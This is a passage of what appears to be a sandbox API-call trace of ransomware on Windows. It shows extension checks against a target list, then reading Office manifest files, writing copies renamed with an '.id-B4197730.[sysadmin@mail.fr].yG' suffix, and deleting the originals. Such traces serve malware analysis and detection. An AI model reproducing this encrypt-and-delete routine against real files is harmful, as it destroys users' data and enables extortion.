	[0050.214] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.215] lstrlenW (lpString=".7z") returned 3
	[0050.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.215] lstrlenW (lpString=".dbf") returned 4
	[0050.215] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.215] lstrlenW (lpString=".1cd") returned 4
	[0050.215] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.215] lstrlenW (lpString=".jpg") returned 4
	[0050.215] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.215] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.215] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53
	[0050.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.216] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0050.216] CloseHandle (hObject=0x2f4) returned 1
	[0050.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.216] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.216] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.216] GetLastError () returned 0x0
	[0050.216] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.242] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.243] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.243] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.243] SetEndOfFile (hFile=0x38c) returned 1
	[0050.243] CloseHandle (hObject=0x38c) returned 1
	[0050.243] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.243] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.244] CloseHandle (hObject=0x2f4) returned 1
	[0050.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.245] lstrlenW (lpString=".doc") returned 4
	[0050.245] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.245] lstrlenW (lpString=".docx") returned 5
	[0050.245] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.245] lstrlenW (lpString=".pdf") returned 4
	[0050.245] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.245] lstrlenW (lpString=".xls") returned 4
	[0050.245] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.245] lstrlenW (lpString=".xlsx") returned 5
	[0050.245] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.245] lstrlenW (lpString=".ppt") returned 4
	[0050.245] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.245] lstrlenW (lpString=".zip") returned 4
	[0050.245] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.245] lstrlenW (lpString=".rar") returned 4
	[0050.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.245] lstrlenW (lpString=".bz2") returned 4
	[0050.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.245] lstrlenW (lpString=".7z") returned 3
	[0050.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.245] lstrlenW (lpString=".dbf") returned 4
	[0050.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.245] lstrlenW (lpString=".1cd") returned 4
	[0050.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.245] lstrlenW (lpString=".jpg") returned 4
	[0050.246] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.246] lstrlenW (lpString=".doc") returned 4
	[0050.246] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.246] lstrlenW (lpString=".docx") returned 5
	[0050.246] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.246] lstrlenW (lpString=".pdf") returned 4
	[0050.246] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.246] lstrlenW (lpString=".xls") returned 4
	[0050.246] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.246] lstrlenW (lpString=".xlsx") returned 5
	[0050.246] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.246] lstrlenW (lpString=".ppt") returned 4
	[0050.246] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.246] lstrlenW (lpString=".zip") returned 4
	[0050.246] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.246] lstrlenW (lpString=".rar") returned 4
	[0050.246] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.246] lstrlenW (lpString=".bz2") returned 4
	[0050.246] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.246] lstrlenW (lpString=".7z") returned 3
	[0050.246] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.246] lstrlenW (lpString=".dbf") returned 4
	[0050.246] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.246] lstrlenW (lpString=".1cd") returned 4
	[0050.246] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0050.246] lstrlenW (lpString=".jpg") returned 4
	[0050.246] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.247] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.247] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53
	[0050.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.247] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0050.248] CloseHandle (hObject=0x2f4) returned 1
	[0050.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.248] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.248] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.248] GetLastError () returned 0x0
	[0050.248] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.285] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.287] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.287] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.287] SetEndOfFile (hFile=0x38c) returned 1
	[0050.287] CloseHandle (hObject=0x38c) returned 1
	[0050.288] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.288] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.290] CloseHandle (hObject=0x2f4) returned 1
	[0050.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.291] lstrlenW (lpString=".doc") returned 4
	[0050.291] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.291] lstrlenW (lpString=".docx") returned 5
	[0050.291] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.291] lstrlenW (lpString=".pdf") returned 4
	[0050.291] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.291] lstrlenW (lpString=".xls") returned 4
	[0050.291] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.291] lstrlenW (lpString=".xlsx") returned 5
	[0050.291] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.291] lstrlenW (lpString=".ppt") returned 4
	[0050.291] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.291] lstrlenW (lpString=".zip") returned 4
	[0050.291] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.291] lstrlenW (lpString=".rar") returned 4
	[0050.291] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.291] lstrlenW (lpString=".bz2") returned 4
	[0050.291] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.291] lstrlenW (lpString=".7z") returned 3
	[0050.291] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.291] lstrlenW (lpString=".dbf") returned 4
	[0050.291] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.291] lstrlenW (lpString=".1cd") returned 4
	[0050.291] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.291] lstrlenW (lpString=".jpg") returned 4
	[0050.291] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.292] lstrlenW (lpString=".doc") returned 4
	[0050.292] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.292] lstrlenW (lpString=".docx") returned 5
	[0050.292] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.292] lstrlenW (lpString=".pdf") returned 4
	[0050.292] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.292] lstrlenW (lpString=".xls") returned 4
	[0050.292] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.292] lstrlenW (lpString=".xlsx") returned 5
	[0050.292] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.292] lstrlenW (lpString=".ppt") returned 4
	[0050.292] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.292] lstrlenW (lpString=".zip") returned 4
	[0050.292] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.292] lstrlenW (lpString=".rar") returned 4
	[0050.292] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.292] lstrlenW (lpString=".bz2") returned 4
	[0050.292] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.292] lstrlenW (lpString=".7z") returned 3
	[0050.292] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.292] lstrlenW (lpString=".dbf") returned 4
	[0050.292] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.292] lstrlenW (lpString=".1cd") returned 4
	[0050.292] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0050.292] lstrlenW (lpString=".jpg") returned 4
	[0050.292] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.293] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.293] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53
	[0050.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.293] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=343329) returned 1
	[0050.293] CloseHandle (hObject=0x2f4) returned 1
	[0050.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0050.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.293] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.293] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.294] GetLastError () returned 0x0
	[0050.294] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x53d21, lpOverlapped=0x0) returned 1
	[0050.393] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x53d30, lpOverlapped=0x0) returned 1
	[0050.398] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.398] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.398] SetEndOfFile (hFile=0x38c) returned 1
	[0050.398] CloseHandle (hObject=0x38c) returned 1
	[0050.404] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.404] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.417] CloseHandle (hObject=0x2f4) returned 1
	[0050.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1
	[0050.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.418] lstrlenW (lpString=".doc") returned 4
	[0050.418] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.418] lstrlenW (lpString=".docx") returned 5
	[0050.418] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.418] lstrlenW (lpString=".pdf") returned 4
	[0050.418] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.418] lstrlenW (lpString=".xls") returned 4
	[0050.418] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.418] lstrlenW (lpString=".xlsx") returned 5
	[0050.418] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.418] lstrlenW (lpString=".ppt") returned 4
	[0050.418] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.418] lstrlenW (lpString=".zip") returned 4
	[0050.418] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.418] lstrlenW (lpString=".rar") returned 4
	[0050.418] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.418] lstrlenW (lpString=".bz2") returned 4
	[0050.418] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.418] lstrlenW (lpString=".7z") returned 3
	[0050.418] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.418] lstrlenW (lpString=".dbf") returned 4
	[0050.418] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
